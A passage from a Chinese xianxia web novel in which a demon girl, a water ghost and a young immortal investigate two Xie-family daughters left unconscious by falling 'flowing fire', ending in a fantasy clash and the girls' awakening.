这一路他们走得很急,腾云驾雾并未遇上什么人,而此时彭州城里却到处都是人,阿姮此时方才注意到霖娘常戴的皂纱似乎早就不见了,她总要摸自己的额发,宁愿头发凌乱些,可哪怕是这样,她也还是总忍不住用手去摸,去挡。 就像晴芸,像那些鬼女们,峣雨的内丹被金尺招来的天雷击碎,她们美丽的面目被剥去的那刹那,她们的神情与霖娘竟然有些重合。 雨丝轻擦伞沿,阿姮看着霖娘,忽然问:“你很在意他们看你?为什么?” “不,”在人多的地方,霖娘就像一只胆小的动物,她不住地拨弄额发,遮掩额头的银鳞,“我,我这样,很难看的……而且,他们看到我这样会害怕的。” 她的声音越来越小,裹着她敏感不安的情绪,脑袋越来越低,忽然间,一根手指抵住她的眉心,霖娘停住脚,感受到那根手指施加力道,迫使她抬起头,伞下昏昏,阿姮垂着眼帘漫不经心似的打量她额头细碎的银鳞,说:“他们害怕又怎么了?” 霖娘抿了抿唇,她知道阿姮是妖邪,而妖邪,是不会懂那么多人类的情感的,人类会羞耻,她不会,人类会自卑,她不懂,她不会明白从一个人变成一个鬼,一个水鬼的心情。 霖娘想到这里,不禁怀疑,什么都不懂的阿姮……真的会明白什么是喜欢吗? “我看不是他们害怕你,而是你害怕他们。” 一柄纸伞遮在两人身上,霖娘听到阿姮慢悠悠地说着,随后她感觉到阿姮冰冷的手指在她额头来回描画了一圈,灼热的感觉来了又退。 阿姮收回手,霖娘眼尖地发现她指间红云散去,霖娘忙摸向自己额头,只觉得一片光滑,她慌忙从怀中掏出手镜,照见镜中额头竟然干干净净,没有半点鳞片的痕迹,她不敢置信地望向阿姮:“阿姮……” “只是暂时的遮掩。” 阿姮站在伞下,双手抱臂:“七日就失效。” 霖娘却看着她,眼眶中很快就积蓄起泪意,随后她双臂一展:“阿姮!” 程净竹一人撑伞走在前面,听见霖娘这响亮的一声,他停步转身,只见那柄素色纸伞歪歪斜斜倒下来,那霖娘将阿姮整个人抱住,笑得灿烂。 细雨纷纷,行人无不注意着那两个容质美丽的女子,各色的纸伞擦她们身边而过,阿姮戳戳霖娘的脑袋,有点不耐烦:“放开。” “阿姮,你身上衣服破了,”霖娘不要伞了,甚至抹开额发,她开开心心地抱着阿姮的手臂,“我买针线给你缝补吧!” 阿姮身上这件红色的衫裙,还是霖娘的母亲林氏生前做的,阿姮在阴司里打架的时候不知怎么就划破了裙角,她早就因为这个不高兴了,此时听见霖娘这样说,她便“哦”了一声,手指摸向衣带。 “阿姮姑娘。”沙沙雨声中,少年的声音落来。 几乎同时,霖娘按住阿姮的手,瞪圆眼睛,有点崩溃地说:“不是现在啊!” 阿姮根本就是故意逗霖娘的,她笑起来,又转过脸,看向不远处撑伞的少年,秋雨朦胧,他神情似乎有些冷,霖娘拉着她朝程净竹走过去,又小声叮嘱:“这是大街上,这么多人呢,你千万不可以脱衣服!” 程净竹走到街边一茶棚中坐下,霖娘拉着阿姮也坐了过去,那摊主立即奉了几碗热茶上来。 霖娘忍不住拿着手镜对着脸照来照去,桌上竟然无一人说话,阿姮一手撑着下巴,她百无聊赖地盯着坐在对面的程净竹看。 此时的阿姮眼中看不到什么颜色,但她记得此时他身上这件黑色的衣袍其实应该是鸦青色,那种颜色接近黑,而又微泛紫绿的光泽,十分漂亮。 里外黑白两色衣襟交叠,他银灰色的长发梳理成整齐的发髻,余下一半披在身后,与衣袍同色的发带缀着珠石,一缕轻轻落在他肩头。 阿姮盯着他的嘴唇,那里似乎只剩一点细微的痕迹。 自从那日过后,他似乎更加寡言,哪怕他偶尔向她投来目光,也总是轻描淡写的一眼,阿姮不知道该怎么形容那种感觉。 就好像,原本她以为自己和他之间的距离,是黑水河上厚厚的那层冰雪,是河面与天空的距离,而那种距离再远,却是可以遥望一眼的。 可如今,他的疏离像一堵足以挡住她所有视线的高墙,不但不容许她的接近,还不容许她窥探。 可是阿姮讨厌这种感觉。 正如此刻,她一瞬不瞬地望着他,而他却好似毫无所觉般,垂着眼帘,端碗饮茶。 阿姮忽然起身,长板凳翘起一边,坐在另一端的霖娘一屁股坐到了地上,她双手抓住桌角,抬起头就发现阿姮走到对面,挨着程净竹坐下。 “……” 霖娘爬起来,重新摆好板凳。 程净竹端着茶碗的手一顿,道:“坐回去。” “我不。” 阿姮反而更凑近他,这样近的距离,阿姮看到他眉头似乎皱了一下,随后,他浓而长的眼睫轻抬,那双沉静的眸子扫向她。 阿姮却看着他襟前的宝珠,没话找话:“小神仙,记得吗?你还欠我什么?” 一个“欠”字,程净竹的神情更冷。 花阴中种种,都从她的一个欠字开始,阿姮的目光上移,落在他的脸上,却笑:“我是说,在岐泽国巢州的榕树镇,你欠我一枚宝石扳指。” “你是一点亏也不肯吃。” 程净竹睨着她那张苍白而艳丽的脸。 “是啊。” 阿姮仍然笑。 程净竹似乎并不想再理她,他一言不发地解开手中珠串的红丝绳,从中摘下来一颗霞珠放到她面前的桌边。 她编的丝绳实在松散,程净竹垂眸整理,很快重新系好。 阿姮惊喜地将那颗珠子捧起来,她看着身边少年一边整理丝绳,一边说道:“坐回去。” 阿姮非但没有坐回去,反而看着他珠串上的丝绳,从怀中很快掏出一缕之前剩下的丝线来,她埋头编啊编,很快,她手肘捅了捅身边的少年:“小神仙,你看。” 程净竹眉头一拧,他方才抬起眼,却见一根白皙的,纤细的手指出现在他眼前,红艳艳的丝绳将一颗粉辉流转的霞珠就穿在她指根。 像指环。 可霞珠相对于她的食指而言却显得有些太大,看起来不伦不类的。 霖娘似乎也是这么认为的,但她看阿姮兴致勃勃,又见眼前这氛围她实在是不好张嘴,又生憋了下去。 这时,有人冒雨入了茶棚来。 “老丈!快多来两碗散茶!” 那是个粗布麻衣的汉子,说话间还喘着粗气。 “你这是卖力气去了?” 那老摊主忙倒了两碗端到他面前,那汉子接来一碗茶,连着茶叶都大口大口喝了下去,又接来第二碗端在手中,才有气口回答摊主:“若是卖力气,好歹还能有几个钱呢!我啊,不是听说谢家又请了方士么?便去谢家门口看看热闹,哪知道热闹没看成,就看见谢家的奴仆将那方士给扔了出来!” “什么?怎么就给扔出来了?”那老摊主惊讶地问。 那汉子嗓门大,别桌的茶客早听见了,有个老翁回过头来,说道:“还用问?肯定是那方士不顶用呗!谢家这几日都请了多少个和尚道士了,哪个顶用过?更不必说里头还有些冒充得道之人,跑进去混斋饭吃的,想必今天这个也是!” “可不是吗!那什么方士啊,就是一个乞丐,装得一副高深样儿,进去没多久就被识破了,被丢出来的时候磕破了头,我离得近,看他实在可怜,就背着他去医馆了。”那汉子说道。 “你还给他花钱治病啊?” 那老翁愕然。 汉子摇头:“我有几个钱?给他治病?我将他扔在医馆门口了,人家大夫救不救的,也就不关我的事了!” 程净竹侧过脸:“不知几位方才所说的谢家到底出了什么事?” 老翁,还有那汉子,甚至茶棚中的茶客们早就注意到了那形貌绝尘,却发若银灰的少年,还有与他一桌的两个姝丽,只是此时听见少年问话,他们才敢大大方方地多看几眼,那老翁最先反应过来,说道:“三位都是外乡来的吧?你们有所不知,咱们这儿谢侍郎家里有一对儿堂姐妹,几日前,天降两道流火,坠入谢侍郎家中,说是分别落在那对堂姐妹院儿里,却不伤片瓦,就那么消失了,都说啊,那两道流火乃是邪祟,因为那晚之后,那对儿堂姐妹就昏迷不醒了。” “谢家一开始请了不少大夫,大夫都束手无策,所以谢家才又开始请僧道,到今日,也没有个头绪。” 几乎是在听到“两道流火”的刹那,阿姮便敏锐地转过脸。 原本阿姮没对着这边的茶客,几人只知道她像是个姝丽,却没想到她竟然生得如此美貌,一时间不由连呼吸都轻了。 那汉子直接第二碗茶都忘了喝。 茶棚外,细雨里,人声忽然更加纷杂,阿姮看向茶棚外,只见街那头烟雨中,数名褐色短衣的青年簇拥着一人匆匆行来。 那人身穿墨灰衣袍,身后背着一柄镶宝金剑,束发,系发带,他形貌年轻,眉目锋利,眼窝略深,轮廓十分流畅,步如流星飒沓,很快接近茶棚。 也是此时,阿姮看清他眉心的一点朱砂红痣。 一短衣青年一边跟着他走,一边说道:“仙长,我家主人听说您从上清紫霄宫来,便要出来迎接……” “不必虚礼,救人要紧。” 那人目不斜视,并未注意到边上茶棚,很快走过,一众短衣奴仆紧紧跟去。 “方才我好像听到上清紫霄宫?”霖娘不由看向程净竹,“而且那个人眉心中间也有戒痕!” 阿姮问霖娘:“那你闻到了吗?他身上有没有清气?” 白日里阿姮感官残缺,她分辨不出。 “有吧。” 霖娘方才没注意,但回想那人方才路过的时候,她说道:“他身上的清气还挺好闻的。” “是吗?” 阿姮闻言,不由望向茶棚外,那上清紫霄宫弟子的背影还没完全消失。 杯盏不轻不重地扣在桌面发出声响,阿姮与霖娘回过头,只见茶碗边一粒碎银,而少年已经起身,他瞥阿姮一眼,神情清淡。 阿姮胸口却无端冷颤一下,却见他转身朝茶棚外走去。 他的背影融入雨雾,颀长而冷峻。 阿姮还坐在桌前,不明所以,霖娘赶忙将她拉起来,追出茶棚,喊道:“程公子,去哪儿啊?” 那少年撑伞,没有回头: “谢家。” 第38章 第38章 “戒痕有损,是动情的惩戒。…… 谢氏官宦之家, 家资甚厚,偌大一个府邸坐落于彭州城内最繁华之地,却又因面前一条水路穿巷而得享一寸清幽,一条水路之隔, 便是彭州城的中心, 那里是官府衙门的所在地。 阿姮与霖娘跟随程净竹, 路过府衙,乘乌蓬小船去对岸,水路不算宽阔, 船桨不过在漾漾清波中划了半盏茶的工夫, 船舷便抵上布满青痕的石阶。 石阶几级泡在水中, 阿姮一脚踩上去, 水花飞溅,幼小的鱼苗受惊四散, 她脚上是程净竹前两日在农户人家里买来的新绣鞋, 鞋面彩线鸳鸯半浸水中,她拧了一下眉, 飞快拾阶而上。 程净竹付过船钱, 顺阶上去, 远远见朦胧烟柳之间人头攒动, 那边堆满了石料, 一些年轻力壮的青年不顾晚秋冷雨,打着赤膊忙活着修石桥。 临河街,烟雨中隐约可见不少寻常巷弄, 而谢家府邸就在眼前,宽阔的府门金钉浮沤,几级石阶底下两座石狮子凛凛生威, 不少近处巷弄里跑来看热闹的人聚在这府门前,有的人没带伞,就躲到别人伞下。 “哎,听说刚进去的那位,是什么……什么上清紫霄宫的弟子?”提着菜篮子的妇人问身边人,“谢家二爷方才还亲自出来迎接,也不知道那上清紫霄宫是个什么名观?怎么我却没听说过?” “这位娘子,那可不是什么一般宫观,”她身边人答不出,却有个上了年纪,但身板看着就很硬朗的老翁捋了捋胡须,接过话去,“传闻说,上清紫霄宫在东炎国的绫州,据咱这儿有万里之遥,都说上清紫霄宫在绫州的仙山上,不受香火,不见众生。” “万里之遥那么远啊……”妇人听了,随即感叹,“既是世外仙山来的仙长,那么那二位谢家小姐应该是有救了。” “希望如此吧。” 有人说道:“今年诗会已经过了,据说致仕还乡的兰大人听闻谢氏双姝有咏絮之才,便邀二位谢小姐赴诗会与一众士子切磋文墨,哪曾想这二位谢小姐却遇上这样邪门的事,竟然生生错过了,真真遗憾哪。” “兰大人可是在王都做过宰相的,能得他盛情相邀,这是多大的脸面,偏偏这个当口出了这样的事,”一个身穿绸子宽袍的青年不咸不淡地说,“到底是邪祟为祸,还是她二人心中怕了,谁说得清呢?” “怕什么?” 一道慢悠悠的女声响起。 “自然是怕盛名之下,”青年想也不想地张口,循着声音转过脸,蓦地撞见那女子一双眼秋波流慧,笑意盈盈,青年声音都变得迟滞,“其实难副……” 阿姮转过脸去:“小神仙,他在说什么?” “意思是,他认为谢家小姐根本没有病,而是怕了诗会,不敢赴会。”程净竹瞥一眼那一双眼睛都快黏在阿姮脸上的青年。 少年言辞淡淡,而那青年却无端觉得身上发冷,他不受控地打了个寒颤,却听那艳丽若红药一般的女子问道:“你这么肯定啊,为什么?” 青年被她那双漂亮的眼睛注视着,脸颊浮红,身上又冷,一时冰火两重天,他张口:“小生,小生……” “哦,你在胡说八道。” 阿姮说道。 青年的脸又红又白,他想反驳,那少年却在此时擦身而过,那红衣女子不再看他一眼,目光追逐那少年,拉着另一个秀丽美貌的女子绕开他,拨开人群追上去。 霖娘率先上去敲门,不多时,朱红金钉的大门被人从里面打开一个缝,一短衣奴仆在门缝中看向门外三人:“几位是?” 程净竹说道:“我姓程,是上清紫霄宫药王殿弟子,路过此地,听闻府上近来不宁,故来除凶诛祟。” “又是个上清紫霄宫的?” 人们惊讶极了,一时左右议论,人声比雨声还纷杂。 那谢家奴仆也十分意外,都说上清紫霄宫在万里之外的世外仙山,入世的弟子悄无声息多少年都难见一个,怎么今日竟一个接着一个? 但见这少年气度绝尘,奴仆立即将门拉开一扇,随后对程净竹拱手道:“既是上清紫霄宫的仙长,还请容小的先去禀报二爷。” 程净竹点头。 那奴仆立即转身飞快往园子里面去了,此时谢家的二爷正在他亲女儿院中,他亦步亦趋地跟随那灰墨衣袍的上清紫霄宫弟子走出女儿闺房,满头大汗地追问:“仙长,若没有妖物作祟,那小女怎会昏睡几日迟迟不醒呢?她……” 谢二爷话还没说罢,院门外一身着藕荷衫裙的妇人被数个婢女簇拥而来,那妇人妆饰素雅,自有一身严肃气度。 “大嫂。” 谢二爷唤了一声。 那妇人瞥一眼谢二爷,语气平淡:“二爷竟还当我是嫂子?” “大嫂,”谢二爷身边的那妇人身穿橘黄衫子,一副形容憔悴,她正是谢二爷的妻子王氏,一听嫂子这番话,便像被针尖立即扎了一下似的,“我们夫妻可一直都敬着你呢,大嫂有什么话不能好好说?” “谁知道你们嘴上这样说,心里又是不是这样想?”那妇人目光在他夫妻二人之间来回扫了一眼,随后几步向前,对那上清紫霄宫弟子垂首行礼,道,“仙长,妾姓孙,乃是谢家大爷的正妻,大爷前两年撒手人寰,留妾孀居,妾与大爷育有一女,小字澹云,她与朝燕同天遭遇流火,如今正昏迷不醒,饮食难进,眼看命在旦夕,还望仙长搭救!” 朝燕,便是谢二爷女儿的小字。 那青年修士立即看出来这大房二房明显不合,但这都是旁人家事,他颔首,对孙氏还以一礼:“大夫人,并非是我不肯搭救,若澹云小姐与朝燕小姐皆是因天降流火而昏迷不醒,那么应该都不是邪祟所致,若是,我这柄金剑绝不会毫无反应。” 那孙氏脸色一白,明显有些慌了:“可若不是邪祟,又能是什么?这几日,能请的名医我们也都请来了,却也查不出任何病因啊!” “二爷!” 此时,院门外那奴仆快步奔来,匆匆拜过大夫人二夫人,忙说:“咱们府门外面,又来了一位上清紫霄宫的弟子!” “什么?又来一位?” 谢二爷面露惊愕,却又有些怀疑:“你可听清楚了?他说他是上清紫霄宫的?” 那奴仆道:“是啊二爷,小的听得很清楚,他说他是上清紫霄宫药王殿来的!” “药王殿?” 那青年修士闻言,立即问道:“他什么模样?” 那奴仆想了想,道:“小的观那仙长年纪不大,大概十六七岁,奇怪的是,他头发却是银灰的,眉心跟您一样有一道朱砂红的印痕,还有……还有,他胸前有一串水青的宝珠,腰间还有跟像蛇一样的银绳!” “哦还有,他说他姓程。” “是他!一定是他!”那青年修士面上露出喜色,很快飞奔出去。 门外看热闹的人随着雨势渐大,都走得差不多了,程净竹转过脸不见阿姮,往阶下看去,却见她弯着腰凑在那石狮子面前,正用手掏狮子口中浑圆的石珠,却怎么也掏不出来。 “阿姮,你不要玩了,你看你衣裳都湿透了!” 霖娘在檐下喊她。 哪里只是衣裳,连她的头发也被雨水沾湿,水珠顺着阿姮的鬓发蜿蜒而下,她本来觉得那颗石珠明明可以在狮子口中灵活滚动,却拿不出来,十分有趣,但很快,她失去耐性,掌心收拢的刹那,红云微翻,石珠化为齑粉簌簌而落。 “……阿姮!” 霖娘眼珠一瞪,赶忙下去几步将她拉上阶,小声道:“你别弄坏人东西啊……” 此时,半开的大门被匆匆赶来的奴仆完全推开,阿姮拍干净手上的灰粉,抬头便见门内一道身影飞快奔来。 那人很快停在程净竹面前,他面露惊喜,俯身拱手:“小师叔!” 阿姮认出他,他正是那个方才在街上与谢家奴仆匆匆路过的上清紫霄宫弟子。 可是,他喊小神仙什么? 阿姮的目光从他背后的金剑挪到程净竹的身上。 “积玉。” 程净竹看着他,问道:“你怎会在彭州?” 那积玉抬起头来,正要说些什么,此时谢二爷夫妇与那大夫人孙氏由奴仆撑伞急匆匆地来到门边,积玉与程净竹相视一眼,咽下话去,随后,他对谢二爷道:“这位是我药王殿的小师叔。” 那谢二爷一听,心中一惊,再观那少年果如奴仆所言,看起来不过是十六七岁的模样,如此年纪,竟然会是积玉仙长的师叔? “仙长,”那孙氏率先走上前来对程净竹施礼,“妾孙氏,乃谢家大房夫人,方才听积玉仙长说我家中根本没有邪祟,可小女澹云又的确昏迷不醒,药石无用……不知仙长可还有法子救救小女?” 那谢二爷夫妇立即反应过来,两人匆匆上前见礼,谢二爷忙也对程净竹拱手道:“是啊仙长,不单单是澹云,还有小女朝燕,她们都是同天遭遇流火,同时昏迷不醒的,若不是邪祟,又能是什么呢?” “大夫人,二夫人,谢二爷,你们不必着急,”积玉早已见识过了他们这两房明里暗里的不对付,他见程净竹点头,便对他们三人道,“还请你们赶紧将两位小姐挪到花厅里来,若真有个什么解法,两位小姐也都能及时得救。” 听积玉这么说,那孙氏与谢二爷夫妇相视一眼,默默应下,各自转身吩咐奴仆去准备了。 积玉本想趁此机会说些什么,却见程净竹身后还有两位姝丽,她们跟随程净竹进得大门来,距离近了一点,积玉后背的金剑忽然开始震动。 积玉神色一凛,摸向剑柄,正是此时,一只手忽然伸来按住他手背,积玉侧过脸,对上程净竹的目光,他迟疑了一瞬,道:“小师叔,她们……” “我是好水鬼!” 霖娘抬起手来,极力为自己正名,见阿姮在拧自己衣袂的雨水,她一把拉来阿姮一只手:“她也是个好妖!” 闻言,积玉,程净竹都不约而同地看向阿姮。 阿姮慢吞吞地抬起头,对上积玉那双怀疑的眼,她一把抽出手,笑着说:“我可没这么说过。” 上清紫霄宫从不闻妖色变,见程净竹收回手,积玉也放下手,他认得出那紫衣水鬼身上有神物,至于那红衣女子……积玉的目光凝在她湿润的发髻间,那里有一支焦黑的木簪,鲜红的花瓣沾染雨珠,娇艳欲滴。 积玉的神情变得很古怪,他张张嘴:“小师叔……” 才喊出口,却见程净竹绕过他,谢二爷叮嘱过奴仆们,又让自己的夫人赶紧跟上大嫂孙氏各自去搬挪女儿,回头见那浑身珠饰的少年走来,便连忙迎上去:“仙长,请随我来。” 积玉才要跟上去,却听一阵轻盈的步履,他转过脸,正对上那红衣少女一双漆黑而明亮的眼睛,她用那样一双眼睛打量着他。 潮湿的雨气里忽然传来谢二爷疑惑的声音:“仙长?” 阿姮闻言望去,只见程净竹不知何时停下来,隔着朦胧的雨幕,他在伞下投来一眼,那似乎是再平常不过的一眼,随后转身,由谢二爷领路,往前面去了。 阿姮实在嗅不到这积玉身上的清气,她打算等晚上再闻闻看是不是真如霖娘所说,十分好闻。 “不知二位姑娘为何会与我小师叔一道?” 这道声音落来,阿姮的目光从融融雨雾间那道身影收回,看向面前这青年修士,他褪去了那份方才见到程净竹时的雀跃,此时正以一种谨慎的目光打量着她,阿姮说不准他的神情到底算是锋利还是不锋利,她懒洋洋地道:“自然是你小师叔……求我来的。” 阿姮说话间,视线从他面庞往下,不经意地瞥一眼他胸口,也不管积玉是怎样一副神情,她步履轻快地往前面去了。 霖娘有点怕这个看起来很有一身正气的青年修士,她撑着伞飞快追着阿姮去了。 积玉看着她们的背影,眉头拧起来。 谢家园子太大,大房与二房平日里又各住东西两边,相距甚远,加之今日有雨,要将澹云、朝燕二位小姐挪来花厅颇费时间。 谢二爷命人在花厅里摆好屏风,又让奴婢上茶来,阿姮方才进门,雨水便顺着她鲜红的裙角滴落,在地面蜿蜒出一片水色。 谢二爷见此,便招来一位婢女奉上姜茶,道:“姑娘淋了雨,快喝一碗姜茶祛祛寒,小女朝燕今岁做了不少衣裳还没穿过,若姑娘不嫌弃,且随婢女去换一身吧。” 天还没有黑,阿姮什么嗅觉味觉都没有,她瞥了婢女手中那碗冒着热气的姜茶,摇头:“这东西我就不喝了,衣裳在哪儿?” 谢二爷立即让婢女领着阿姮去了。 霖娘一直好好地撑伞,不像阿姮在雨里到处玩儿,她身上没有什么水气,谢二爷便让婢女招呼她坐下了。 阿姮被婢女领入一间厢房,给她沏茶,请她暂坐,阿姮看了看四周,哪怕只是一间留客用的厢房,这房内装饰也十分精致,又是书画,又是香炉,掀开水晶珠帘,里面绫罗软卧,因雨天昏黑,还燃着一盏灯笼。 不多时,去西边院里取衣裳的婢女回来了,她们上前来服侍阿姮宽衣,阿姮倒也没有推拒,由她们帮她换好了衣裳。 一名婢女捧起湿漉漉的衫裙,见裙角有破损,便道:“姑娘,您这衣裳都破了,奴婢拿去扔了吧。” 两名婢女正给阿姮梳头,阿姮从铜镜中看到那婢女捧在手中的衫裙,说:“破了,就一定要扔掉吗?” 当然不是,只是谢家家业大,主子们新衣常换,从不在这上头节俭,哪里在乎这些缝缝补补的事,但婢女什么也没多言,只将衣裳整齐叠好。 大夫人孙氏与二夫人王氏命人在花厅屏风后置好了榻,然后一路亲自护着女儿从内门里出来,将她们小心放到榻上。 那大夫人孙氏忙在屏风后道:“仙长,快请吧。” 程净竹站起身,正要绕去屏风后,却听门外一阵步履声临近,几名婢女率先走入花厅里来,紧接着,一寸雪白的裙角轻擦门槛。 满庭烟雨融融,青灰暗淡的天光映照那少女纱衣层叠若白雪,露出来里面一层鲜红的交领衣襟,隐约闪烁碎金的光泽,伴随她踏入花厅的步履,她白色衣边衩缝处隐约露出里层鲜红碎金的裙摆,她纤细的腰间系着雪白的腰带,长长的红丝绦垂下来,随她举止摆动。 她原本湿润的头发已经被擦干,梳起发髻,而她髻边焦黑的木簪几簇红萼白梅,微沾雨露,颤颤巍巍顺着花瓣浸入她乌黑的发,实在风流秀曼。 满屋目光凝于她一身,而她乌眸盈盈,透过细纱屏风隐约见其后人影攒动,她将手中提着的包袱扔给霖娘。 霖娘一下扒开包袱,见里面是那件湿漉漉的红色衫裙,她抬起头,却见阿姮几步走近程净竹。 阿姮闻不到这身衣裳事先被香薰过的味道,无知无觉地靠近他,隐幽的香擦过他鼻息,他垂眸瞥她一眼,转身便往屏风后去。 阿姮连忙跟上去。 屏风后左右两张榻上都支着帐子,帐子半遮,令人看不清那两位小姐的真容,那积玉一进来,便见阿姮走到那两张榻中间,掌心燃起红云,他眉心一跳,几步上前,却被程净竹抬手一拦。 积玉看着程净竹,抿唇不动了。 阿姮稍稍侧过脸,只见青色帐子中,那女子身裹锦衾,影影绰绰,她抬眸看向守在一旁的孙氏:“出去。” 孙氏对上这少女一双漆黑明亮的眼,胸中却不知为何有些战栗,她有些不放心,但见那两位上清紫霄宫的仙长不动,她到底还是转身,由婢女扶着出去了。 阿姮再看向立在右边白色帐子边的王氏,她没说话,但王氏垂首敛衽,立即领着婢女们出了屏风。 此时,阿姮指尖红云跳跃,分为两束,飞快落去左右两张榻上,瞬间浸入两名女子肌骨之中,阿姮闭起眼,回想起奈何桥花阴中,碎裂的琉璃瓶中飞出的那两道流光。 那短暂一瞬,却足够阿姮记得它们的气息。 青白两色的帐子被风吹得凌乱飞舞,两名女子躺在榻上纹丝不动,暗红的雾气缭绕飞浮,阿姮陡然睁开眼,眼中暗红的光影闪过:“果然是她们。” 阿姮面露笑意,她手指一动,红云若缕立即顺着两名女子眉心涌入,她感受到那两团东西就存在于她们的脑海之中,像蛛网一样缠绕其间。 阿姮手指屈起,两女眉心的红光顿时湮灭,她唇边笑意敛去,回过头,看向程净竹:“为什么我取不出来?” “执根是人的执念所化,它是人的坚持,是人的顽固不化,是这世上最坚硬固执的东西,”程净竹仿佛一点也不意外,他对上阿姮的目光,“它被孟婆挖出来过一次,如今再回到它主人的身上,它自然会用尽力气扎根在主人的身体甚至是灵魂。” 阿姮闻言,转过脸,将左右两张榻上的女子审视一番,她声音变得轻缓:“你们人类还真是麻烦。” 那孟婆定然也知道这件事一点也不容易吧? 但她却什么也没说。 阿姮心中十分不高兴,但她垂下眼帘,执根回到它的主人身上便会在其身上扎根得更深,不论身体,还是灵魂。 那若是……她们死了呢?躯壳不复,灵魂无栖,再取执根是否就能容易许多? 阿姮一笑,青白两道帐子随风乱舞,浮动在两名谢女身上的红云陡然绽开尖锐的气流,同时压向两女头颅。 “阿姮!” 霖娘在屏风边只见这一幕,她脸色一变,大喊一声,也是此时,程净竹袖中白符飞出,在他指尖划下一道金痕,随后白符很快烧成两缕金焰,分落二女面部,抵散淡淡红云。 积玉金剑出鞘,剑锋迅速横劈向阿姮,阿姮身影骤然化为红雾,幽幽浮动,又在程净竹与积玉之间凝出身形,烈焰红云顷刻扫向积玉,却是此时,程净竹一掌落来,阿姮立即抬掌迎击,两道气流猛然相撞,轰然一声,足有十二扇的乌木细纱屏风倒塌散架。 花厅中大夫人与谢二爷夫妇,甚至厅中奴仆全都吓了一大跳,没有了屏风的遮挡,谢二爷抬起头便见澹云、朝燕所躺的两张榻上纱帐飞拂,那积玉仙长手持金剑,劈散一道红云,花厅外细雨沙沙,清灰冷暗的天色照见那女子,她鲜红的衣襟与洁白的衣摆交织若白雪红梅,而她手掌正与那位少年仙长相合。 她抬起眼睛的刹那,所有人都看清她那双暗红的眼睛,妖异非常。 “这,这……”谢二爷胡子抖动,瞪大双眼。 阿姮盯着程净竹与她相贴的手掌,指缝中,隐约露出白符的边角,她挣扎却挣不脱,与此同时,他腰间法绳宛若银蛇般顺着他手臂爬上来,缠绕住彼此的手腕。 阿姮挣脱不得,而掌心白符金芒闪烁,她觉得自己掌心变得湿润,很快,她看到水珠顺着掌心滴下来,一颗颗落在地上,却闪烁莹光,消散无痕。 正是此时,她发间的木簪忽然飞出,周身金光耀目,花厅中几乎所有人的眼睛都被这光芒刺得有一瞬睁不开眼,木簪迸发锋利的剑气,顷刻划破阿姮的脖颈。 阿姮眼中愕然,十分意外,她竟然感受到万木春对她的强烈杀意,她本能要化去身形,却被程净竹所束缚,那木簪强大的威压逼来,尖锐的气流顷刻迎面扑来,阿姮眼前一闪,只见身前多了一道黑色的影子。 “小师叔!”积玉大惊失色。 气流若强风牵动程净竹的衣袂,木簪尖锐的尾端却在将要刺入他胸膛的刹那蓦地停住,金芒消散,木簪飞回阿姮发间。 阿姮垂着眼帘,用另一只手摸了一下颈侧,湿润的水痕沾染她指尖,转瞬化为点点莹光,飞浮消散。 壳子又破了。 程净竹转过身来,阿姮缓缓抬眼,与他相视。 她脸上一点笑意也没有,而她所面对的这个少年,亦在面无表情地凝视她。 忽然,榻上传来女子低弱的呻吟。 那大夫人与谢二爷夫妇反应过来,也顾不得害怕,哆哆嗦嗦地跑到自己女儿榻前,帐子一掀,只见女儿竟然睁开了眼。 那孙氏眼中浸泪,抖着声音唤了声:“澹云……我儿啊。” 王氏也在另一边抹着泪,喊道:“朝燕!你终于醒了啊!” 王氏与孙氏各自扶着自己的女儿坐起来,她们终于显露半张苍白的脸,却是一句话也不肯说。 “澹云啊,你别吓为娘啊……”孙氏担忧地唤。 也许是孙氏的哭腔令谢澹云回了神,但她怔怔地望着面前的孙氏,好一会儿才哑着声音道:“……母亲?” “哎,是娘,是娘啊。” 孙氏眼中又有泪,一把将女儿抱住。 谢澹云下巴抵在孙氏的肩上,双目却有些涣散。 那边王氏同样将谢朝燕搂在怀里,谢朝燕却始终垂着眼帘,谁喊她都不应,像个木偶。 好一会儿,谢澹云与谢朝燕却几乎同时出声: “诗会呢?” 孙氏与王氏皆是一愣,还是谢二爷先反应过来,忙说:“你们都这样了,还想着什么诗会呢?诗会早就过去了!” 谢澹云与谢朝燕又都不说话了,靠在各自母亲的怀里,神情呆滞。 不论如何,谢家两个女儿都醒了过来,大夫人孙氏与谢二爷夫妇都松了一口气,见天色渐晚,雨又不歇,便令奴仆打扫厢房,留程净竹与积玉几人暂住府中。 “仙长,那位姑娘……”谢二爷对阿姮方才那双妖异的眼睛心有余悸,此时见她被那紫衣姑娘拉着走出去,方才凑到程净竹身边,却又不知如何问起。 程净竹也在看那道身影,她走过的地方,莹光点点,缓缓流散,他对谢二爷微微颔首:“见谅。” 随后,又从怀中取出一只玉瓶来,递给谢二爷:“此药安神,旦暮一粒。” “多谢仙长!” 谢二爷忙接过来,他见这位仙长并不透露那姑娘的底细,便也不再多问,毕竟有这两位仙长在,他心中倒也没有那么惊慌。 积玉眼见程净竹走出花厅,他连忙跟了上去。 奴仆在前面领着他们往厢房去,积玉跟在程净竹身边,低声问道:“小师叔,你之前说下山便下山去了,你到底去了哪儿?” “四处游历。” 程净竹语气无波:“你又因何在此?” “不止是我。” 积玉才出声,便见程净竹倏尔停步,随后,他抬眸看向积玉,积玉瞥了一眼前面的奴仆,低声道:“小师叔,东炎国京都玄宁观中本关押了一只千年狐妖,但数日前,那狐妖却逃了出来,灭了玄宁观不说,还在京都大开杀戒,所以东炎国皇帝求到了绫州,我们追踪那狐妖到邕宁国,来了这儿,就什么线索都断了。” 程净竹被奴仆领至厢房,积玉就住在他隔壁,他走到窗边,檐下已点起灯盏,橙黄的灯火映着满庭斜飞的雨丝,庭中松竹长青,翠色幽幽,一片连廊中灯火鳞次栉比,照亮不远处的屋舍,那里正是女客的住处。 夜幕已然降临,檐下灯盏忽然被风吹得摇晃,程净竹敏锐地抬眸,瞬息门窗紧闭,厢房内,只余一盏烛火,却映出地上两道影子。 程净竹转过身,昏暗的室内,那老者身穿乌金色流云纹衣袍,他白霜般的发髻被一支玉簪束着,同样霜白的胡须几乎长至胸口,他神观爽迈,仙风道骨。 “您亲自来了。” 程净竹看着他,说道。 那老者正是上清紫霄宫药王殿的殿师阳钧,他气韵天成,含笑的双眼在触及程净竹眉心戒痕的刹那,他眼底的笑意微凝,半晌,他道:“你找到赤戎了,是吗?” “是。” 程净竹颔首。 阳钧朝他走近几步:“我曾听师父说,三界之内唯你一人可以找到九仪故地,如今看来,师父所言非虚。” 他在少年面前站定:“那么师弟,你也找到她了?” 程净竹对上阳钧的目光,他神情沉静:“是。” 